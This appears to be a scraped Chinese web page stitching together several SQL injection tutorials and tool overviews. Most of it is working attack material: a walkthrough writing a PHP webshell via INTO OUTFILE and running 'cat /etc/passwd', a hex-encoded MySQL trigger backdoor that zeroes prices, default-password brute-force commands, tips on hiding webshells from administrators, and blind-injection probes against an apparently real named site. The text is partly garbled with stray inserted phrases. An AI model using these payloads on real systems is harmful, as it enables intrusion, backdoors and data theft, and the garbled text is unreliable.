文章导航：
- 1、sqlmap怎么批量进行sql注入
- 2、如何利用blind sql injection渗透
- 3、功能强大.操作简单的SQL注入工具是?
- 4、SQL注入哪些工具最有效
- 5、常用的网络安全工具有哪些？
- 6、如何灵活地运用SQLInjection做数据库渗透的一种思路
sqlmap怎么批量进行sql注入
1.什么是SQL注入？
SQL注入是一种代码注入技术sql渗透工具，过去常常用于攻击数据驱动性的应用，比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞，例如用户输入没有经过正确地过滤（针对某些特定字符串）或者没有特别强调类型的时候，都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术，但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中sql渗透工具我会向你展示在Kali?Linux上如何借助SQLMAP来渗透一个网站（更准确的说应该是数据库），以及提取出用户名和密码信息。
2.什么是SQLMAP？
SQLMAP是一个开源的渗透测试工具，它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎，适用于高级渗透测试用户，不仅可以获得不同数据库的指纹信息，还可以从数据库中提取数据，此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。
访问SQLMAP的官方网站可以获得SQLMAP更为详细的介绍，如它的多项特性，最为突出的是SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL与Access等各种数据库的SQL侦测和注入，同时可以进行六种注入攻击。
还有很重要的一点必须说明sql渗透工具：在你实施攻击之前想想那些网站的建立者或者维护者，他们为网站耗费sql渗透工具了大量的时间和努力，并且很有可能以此维生。你的行为可能会以你永远都不希望的方式影响到别人。我想我已经说的够清楚sql渗透工具了。
0x01 定位注入的网站
这通常是最枯燥和最耗时的一步，如果你已经知道如何使用Google?Dorks（Google?dorks?sql?insection：谷歌傻瓜式SQL注入）或许会有些头绪，但是假如你还没有整理过用于Google搜索的那些字符串的话，可以考虑复制下面的条目，等待谷歌的搜索结果。
如何利用blind sql injection渗透
如何利用blind sql injection渗透
0×01,介绍…
0×02,什么是Sql Injection..
0×03,一个系统后门(OS)Backdoor.
0×04,获得一个OS Shell
0×05,一个数据库后门(Database backdoor).
0×07,推荐的防御措施…
0×08,结论…
0×09,参考…
0×01,介绍
如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒，或者是它一种特洛伊木马或者蠕虫，这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染，那么当你使被感染的计算机连接到互联网，它很可能会去感染其他的计算机。许多时候，恶意软件不仅仅只是从一台计算机传播到另一台，他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上，这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。
0×02,什么是Sql Injection
已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁，所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识，这里有一个介绍性文章的连接可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。
0×03,一个系统后门(OS)Backdoor
这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制操作系统。为了运行系统命令，我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。
0×04,获得一个OS Shell
现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制操作系统。所以，从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示，语句Harry Potter’ union select 1,2,3,4#将会出现错误：
现在，我们想插入可以执行系统命令的PHP代码。为了实现这个目的，我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE，可以将查询的输出重定向到系统的文件中去。真因为如此，我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#，然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图：
现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制操作系统。我们使用这样的语句： Harry Potter’ union select “?system($_REQUEST['cmd']); ?”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ，如图：
就是这样！但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为：
‘ union select “? system($_REQUEST['cmd']); ?”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。
尽管这回还是返回了2和3，但是好多了。
现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。
成功了。通过我多次的尝试，这里有几点需要注意的事情。
–运行这条语句的数据库用户需要拥有FILE权限，否则不能执行INTO OUTFILE命令。
–在MySQL服务运行的主机中必须存在一个可写的Web目录，否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp，但是你没有权限访问它。
一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章，你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。
下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。
运行一个命令来检查我们是否已经获得了一个Shell。OK，没问题。
这实在是太容易了。
不幸的是，从‘破坏者’的角度来看这也同样是简单的。
现在有了这么简单快捷的方法你肯定不想再用之前的方法了，但是知道手动利用的方法总是有帮助的（这样当使用工具失败时你可以有另外的方法）。还有一件事需要注意，难获得了一
个WebShell时，请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。
在开始下一类Backdoor之前，我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。
然后当SQLMap将实际的WebShell上传到可写目录的时候，brupSuite会拦截到一些请求，让我们看一下这些请求。
我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令，和我们之前人工使用的方法是一样的。
最后，我们看一下SQLMap上传WebShell的内容，非常有意思，看一下底部的面板。
这就是关键，工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。
0×05,一个数据库后门(Database backdoor)
现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前，我们需要一些了解一下backdoor function的相关知识。在OS backdoor中，我们直接访问了后门并且传递给它了一个命令；但在这里却并不会那么直接。当我们每一个插入的操作执行时，我们配置的后门会改变数据库中一些敏感数据的值。所以，每一本书在添加到数据库中时价格会被我们的后门设置成0，以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。
所以我们在数据库中有一些叫做“触发器”的东西，基本的意思就是——“当某些我们希望发生的事情发生时，触动触发器去做另外一些事情”。这描述的确实太模糊了，然我们举一个更明显的例子。假如你是一个警察，某一时刻你看到一个连环杀手，你扣动扳机并且发射出一枚子弹对么？那么把他转换为我们之前的场景——有一个INSERT语句（杀手），一个Database trigger(枪手)开火了，那么动作(action)就是释放你之前已经配置(configured)好的子弹(bullet)。
下面使我们要写的一个MySQL触发器的例子：
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price=’0′;
end;#
delimiter ;
b)无论任何时候如果我们执行一个Insert语句，比如假如一本书，那么我们设置其价格为0.下面是它的意思：
a)设置默认的MySQL分隔符为’#'，因为默认的分隔符是’;'在MySQL作为特殊字符处理了，而我们需要将其作为数据处理。所以我们改变分隔符为’#'，表示’#'现在有一个特殊的含义。
c)终止触发器并将分隔符重置为’;'。
然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句：
Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a736574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’；这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder，不要坐在那儿浪费时间去手工转化它)。
让我们运行一下看看会在文件/var/www/test/g2中出现什么。
你注意到了最开始的几个空格了么？这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。
现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活，这里有三种实现的方法。
a)多语句查询(Stacked Queries)—Harry Potter’ UNION blah blah blah;source /var/www/test/g2但是这事实上不会成功执行，因为PHP+MySQL不支持多语句查询。
b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过，不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧，我找时间也会测试一下。
c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。
我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。
看最后一行。不幸的是，只有当支持多语句查询时，这种方法才可以执行。这意味着上面的选项a，c意味着同一种情况。让我们通过代理来查看SQLMap的请求。
让我们在Sql-shell中执行一个简单的创建新数据库的语句—”create database boo;”并在Brup中查看。
我们可以看到，SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。
我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤：
—猜解一个有效MySQL用户的密码。例如，你猜到root的密码是test123
—注入一个OS webshell后门。
—注入一个类似之前格式的触发器。
—现在通过在Webshell中运行MySQL命令来安装触发器。
我有几张截图来说明为什么这样是可行的。为了照顾初学者，这里有张截图表名当前不存在任何触发器。
假设我们已经猜解到了用户名和密码root和toor（通过Blind SQL暴力猜解mysql.user表）。现在我们反问Web shell并传递一个命令：
mysql -uUSERNAME -pPASSWORD DB NAME /var/www/test/g2
现在我们再来看一下数据库。
看到了我们的触发器。
现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。
现在执行查询：
看最后一行。某些人可以不用支付他本认为应该支付的价格了。
现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍，在后端很可能会有一个INSERT查询，这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。
明显地，一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。
—想一些常用的数据库用户名（比如MySQL的root）或者通过社会工程学获得一些。
—MySQL密码是通过哈希加密的，并不是明文。
你可以通过以下两种方式破解密码：
—通过SQL Injection将密码的Hash与密码明文列表对比。（参考我之前的文章）
—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书，或者在每次猜解后找出那个密码是正确的。
mysql -uroot -ptoor blindsql_test /var/www/test/g2
mysql -uroot -proot blindsql_test /var/www/test/g2
mysql -uroot -ptest blindsql_test /var/www/test/g2
mysql -uroot -ppassword blindsql_test /var/www/test/g2
0×07,推荐的防御措施
a)使用参数化查询来防御SQL注入攻击。
b)不要在Web目录中存在大量可写目录。
c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点，不要给其分配FILE权限。
d)设置复杂的数据库密码和健壮的密码策略。
0×08,结论
这个问题的根源，是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而，知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播；也需要采取措施来防止它们。
功能强大.操作简单的SQL注入工具是?
Pangolin翻译成中文即为穿山甲。之所以取名为穿山甲，是因为目前的网络安全通常都伴随着网络防火墙，只允许极少数的业务端口开放。而SQL注入正是这样的一个攻击途径，他的动作就像穿山甲一样会“打洞”。能够穿越看似强大的目标。这也是目前网络安全的现状。 Pangolin是一款帮助渗透测试人员进行Sql注入测试的安全工具。所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞，从而达到获取、修改、删除数据，甚至控制数据库服务器、Web服务器的目的的测试方法。Pangolin能够通过一系列非常简单的操作，达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。 过去有许多Sql注入工具，不过有些功能不完全，支持的数据库不够多，或者是速度比较慢。但是，在Pangolin发布以后，这些问题都得到了解决。 Pangolin是目前已有的注入工具中最好的。 这个是天空的下载连接
SQL注入哪些工具最有效
SQL Power Injector是一款在.Net 1.1中创建的应用程序，可帮助渗透测试人员在网页上查找和利用SQL注入。
特征
支持Windows，Unix和Linux操作系统
SQL Server，Oracle，MySQL，Sybase / Adaptive Server和DB2兼容
SSL支持
自动从网页上的表单或IFrame加载参数（GET或POST）
检测并浏览框架集
自动检测网站语言的选项
检测并添加加载页面进程期间使用的Cookie（Set-Cookie检测）
自动查找提交页面，其方法（GET或POST）以不同的颜色显示
可以直接在Datagrids中创建/修改/删除加载的字符串和Cookie参数
单个SQL注入
盲目的SQL注入
比较页面的真实和错误响应或cookie中的结果
时间延迟
SQL注入在自定义浏览器中的响应
可以使用HTML上下文颜色查看返回页面的HTML代码源并在其中搜索
微调参数和cookie注入
可以参数化预期结果的长度和计数以优化应用程序执行SQL注入所用的时间
创建/编辑预设的ASCII字符，以优化盲注SQL请求数/请求速度
多线程（最多可配置50个）
选项可以通过空的评论/ ** /针对IDS或过滤器检测来替换空间
在发送之前自动编码特殊字符
自动检测响应页面中的预定义SQL错误
在响应页面中自动检测预定义的单词或句子
实时结果
将会话保存并加载到XML文件中
自动查找正面答案和负面答案页面之间差异的功能
可以创建一个范围列表，它将替换隐藏的SQL注入字符串中的变量（gt;）并自动为您播放它们
使用文本文件中的预定义列表自动重播变量范围
Firefox插件，它将启动SQL Power Injector以及当前网页的所有信息及其会话上下文（参数和cookie）
两个集成工具：Hex和Char编码器和MS SQL @options解释器
可以编辑Referer
可以选择一个用户代理（或者甚至在用户代理XML文件中创建一个）
可以使用设置窗口配置应用程序
支持可配置的代理
软件截图
地址：
ilo--，Reversing.org - sqlbftools
地址：
Bernardo Damele AG：sqlmap，自动SQL注入工具
介绍
sqlmap是一款开源渗透测试工具，可自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎，针对终极渗透测试人员的众多特性，以及从数据库指纹识别，从数据库获取数据，到访问底层文件系统以及在操作系统上执行命令的各种开关，带外连接。
特征
完全支持MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Access，IBM DB2，SQLite，Firebird，Sybase，SAP MaxDB，HSQLDB和Informix数据库管理系统。
完全支持六种SQL注入技术：基于布尔的盲，基于时间的盲，基于错误，基于UNION查询，堆栈查询和带外。
支持直接连接数据库而不通过SQL注入，通过提供DBMS凭证，IP地址，端口和数据库名称。
支持枚举用户，密码哈希，特权，角色，数据库，表和列。
自动识别密码哈希格式并支持使用基于字典的攻击对其进行破解。
支持完全转储数据库表，根据用户的选择提供一系列条目或特定列。用户也可以选择仅转储每列条目中的一系列字符。
支持搜索特定的数据库名称，跨所有数据库的特定表或所有数据库表的特定列。例如，这对于识别包含自定义应用程序凭证的表格非常有用，其中相关列的名称包含名称和传递等字符串。
当数据库软件是MySQL，PostgreSQL或Microsoft SQL Server时，支持从数据库服务器底层文件系统下载和上载任何文件。
当数据库软件是MySQL，PostgreSQL或Microsoft SQL Server时，支持执行任意命令并在数据库服务器底层操作系统上检索它们的标准输出。
支持在攻击者机器和数据库服务器底层操作系统之间建立带外状态TCP连接。该通道可以是交互式命令提示符，Meterpreter会话或图形用户界面（VNC）会话，可以根据用户的选择进行选择。
通过Metasploit的Meterpreter 命令支持数据库进程'用户权限升级
地址：
icesurfer：SQL Server接管工具 - sqlninja
介绍
喜欢从Microsoft SQL Server上的SQL注入到数据库上的完整GUI访问？采用一些新的SQL注入技巧，在注册表中添加几个远程镜头以禁用数据执行保护，混合一个自动生成调试脚本的小Perl，将所有这些放在一个带有Metasploit包装器的振动器中，只有sqlninja的攻击模块之一！
Sqlninja是一款旨在利用以Microsoft SQL Server作为后端的Web应用程序中的SQL注入漏洞的工具。
其主要目标是在易受攻击的数据库服务器上提供远程访问，即使在非常恶劣的环境中也是如此。渗透测试人员应该使用它来帮助和自动化发现SQL注入漏洞时接管数据库服务器的过程。
特征
完整的文档可以在tarball中找到，也可以在这里找到，但是这里列出了忍者的功能：
远程SQL Server的指纹（版本，执行查询的用户，用户权限，xp_cmdshell可用性，数据库身份验证模式）
数据提取，基于时间或通过DNS隧道
与Metasploit3集成，通过VNC服务器注入获得对远程数据库服务器的图形化访问，或者仅上传Meterpreter
通过vbscript或debug.exe仅上传可执行的HTTP请求（不需要FTP / TFTP）
直接和反向绑定，TCP和UDP
当没有可用于直接/反向外壳的TCP / UDP端口时，DNS隧道伪外壳，但数据库服务器可以解析外部主机名
ICMP隧道外壳，当没有TCP / UDP端口可用于直接/反向外壳，但数据库可以Ping您的盒子
蛮力的'sa'密码（2种口味：基于字典和增量）
如果找到'sa'密码，权限将升级到系统管理员组
创建自定义的xp_cmdshell，如果原始的已被删除
TCP / UDP端口可以从目标SQL Server扫描到攻击机器，以便找到目标网络防火墙允许的端口并将其用于反向shell
回避技术混淆了一些IDS / IPS / WAF
与churrasco.exe集成，通过令牌绑架将权限升级到w2k3上的SYSTEM
支持CVE-2010-0232，将sqlservr.exe的权限升级到SYSTEM
地址：
常用的网络安全工具有哪些？
1、NMap
是一个开源且免费的安全扫描工具，可被用于安全审计和网络发现。能够工作在Windows、Linux、HP-UX、Solaris、BSD(包括Mac OS)、以及AmigaOS上。Nmap可用于探测网络中那些可访问的主机，检测它们操作系统的类型和版本，正在提供的服务，以及正在使用的防火墙或数据包过滤器的信息等。由于它既带有GUI界面，又提供命令行，因此许多网络与系统管理员经常将它运用到自己的日常工作中，其中包括：检查开放的端口，维护服务的升级计划，发现网络拓扑，以及监视主机与服务的正常运行时间等方面。
2、Wireshark
作为业界最好的工具之一，Wireshark可以提供免费且开源的渗透测试服务。通常，您可以把它当作网络协议分析器，以捕获并查看目标系统与网络中的流量。它可以在Linux、Windows、Unix、Solaris、Mac OS、NetBSD、FreeBSD、以及其他操作系统上运行。Wireshark广受教育工作者、安全专家、网络专业人员、以及开发人员的使用和喜爱。那些经由Wireshark还原的信息，可以被其图形用户界面(GUI)或TTY模式的TShark工具来查看。
3、Metasploit
作为一个安全项目，Metasploit可为用户提供有关安全风险或漏洞等方面的重要信息。该开源的框架可以通过渗透测试服务，让用户获悉各种应用程序、平台和操作系统上的最新漏洞，以及可以被利用的代码。从渗透测试角度来看，Metasploit可以实现对已知漏洞的扫描，侦听，利用，以及证据的收集。它提供可在Linux、Windows以及Apple Mac OS上运行的命令行和图形用户界面。虽然Metasploit是一种商业工具，但它附带有一个开源的有限试用版。
4、Netsparker
作为一款商业化的安全测试工具，Netsparker是一个精确、自动化且易用的Web应用安全扫描程序。该工具可以被用于自动化地识别Web应用服务中的跨站点脚本(XSS)和SQL注入等安全风险。通过基于证据的扫描技术，它不仅可以生成风险报告，还能够通过概念证明(Proof of Concept)，来确认是否有误报，并能减少手动验证漏洞的时间。
5、Acunetix
是一款全自动化的Web漏洞扫描程序。它可以智能地检测、识别并报告超过4500种Web应用漏洞，其中包括XSS XXE、SSRF、主机头部注入(Host Header Injection)和SQL注入的所有变体。作为一种商业工具，Acunetix通过其DeepScan Crawler来扫描重AJAX(AJAX-heavy)客户端类型的单页面应用(SPA)和HTML5网站。
6、Nessus
是针对安全从业人员的漏洞评估解决方案。它能够协助检测和修复各种操作系统、应用程序、乃至设备上的漏洞、恶意软件、配置错误、以及补丁的缺失。通过运行在Windows、Linux、Mac、Solaris上，用户可以用它来进行IP与网站的扫描，合规性检查，敏感数据搜索等测试。
7、W3af
作为一个免费工具，W3af是一个Web应用攻击和审计框架。它通过搜索、识别和利用200多种已知的Web应用漏洞，来掌控目标网站的总体风险。这些漏洞包括：跨站点脚本(XSS)、SQL注入、未处理的应用错误、可被猜测的密钥凭据、以及PHP错误配置等。W3af不但适用于Mac、Linux和Windows OS，而且提供控制台和图形用户界面。
8、Zed Attack Proxy
由OWASP开发的免费且开源的安全测试工具。它可以让您在Web应用中发现一系列安全风险与漏洞。由于支持Unix/Linux、Windows和Mac OS，即使您是渗透测试的新手，也能轻松地上手该工具。
9、Burpsuite
作为一个严控“入侵者”扫描工具，Burpsuite被部分安全测试专家认为：“如果没有它，渗透测试将无法开展。”虽然不是免费，但是Burpsuite提供丰富的功能。通常，人们可以在Mac OS X、Windows和Linux环境中使用它，以实现爬取内容和功能，拦截代理，以及扫描Web应用等测试目的。
10、Sqlninja
作为最好的开源渗透测试工具之一，Sqlninja可以利用Microsoft SQL Server作为后端，来检测Web应用上的SQL注入威胁和漏洞。该自动化测试工具提供命令行界面，可以在Linux和Apple Mac OS X上被使用。Sqlninja具有包括：对远程命令进行计数，DB指纹识别，及其检测引擎等描述性功能。
如何灵活地运用SQLInjection做数据库渗透的一种思路
如今，很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
当加入" ' "符号进行注入测试时，
'
出错信息是，
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int
我们知道它不对" ' "符号进行过滤。再用如下语句测试，
http //www aquavelvas com/blog.asp?id=4 and 1=1
出错信息是，
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int
好，再来继续测试，
http //www aquavelvas com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了，如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '
我们的" ' "符号加对了，再继续测试，
'%20and%20user'0
出错信息如下，
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user'
应该是语法不允许直接回值，是不是不能再继续了呢？想想其他办法，就看user值的长度吧，
'%20and%20len(user)'0
出错信息是，
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)'
好，我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话，那语句在逻辑上是错的；而如果出错信息是Incorrect syntax...的话，那语句在逻辑上就是对的。当处理len(user)0，凭着刚才的想法，我们知道在逻辑上这是对的。
我们试试逻辑上错的语句，
'%20and%20user%20'1'='2
果然，出错信息是，
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)0这语法的基础上，我们得知user的长度是7，之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function，我们可猜出数据库名。
好了，如何猜表名呢？就先猜表名的长度吧，
就用如下语句，
len(select top 1 name from sysobjects where xtype='U')10
len(select top 1 name from sysobjects where xtype='U')9
len(select top 1 name from sysobjects where xtype='U')8
...
(猜表名的工作是很烦人，建议用perl写个script来玩玩)
再猜表名，
left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...
好了，我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧！)
再继续猜表名，
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')8
...
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....
好第二个表名是blog，之后的表名可用('geoipcountrywhois','blog')来继续猜，然而，这显然不是好办法。为什么我们不进行搜索呢？
如何搜索呢？就用如下的语句吧，
(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0
(记得将" % "这符号换成" %25 "才是正确的输入)
好了，通过逻辑上对或错的判断，我们也可以对数据库进行渗透，不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
发布于 2022-07-14 10:52:37 回复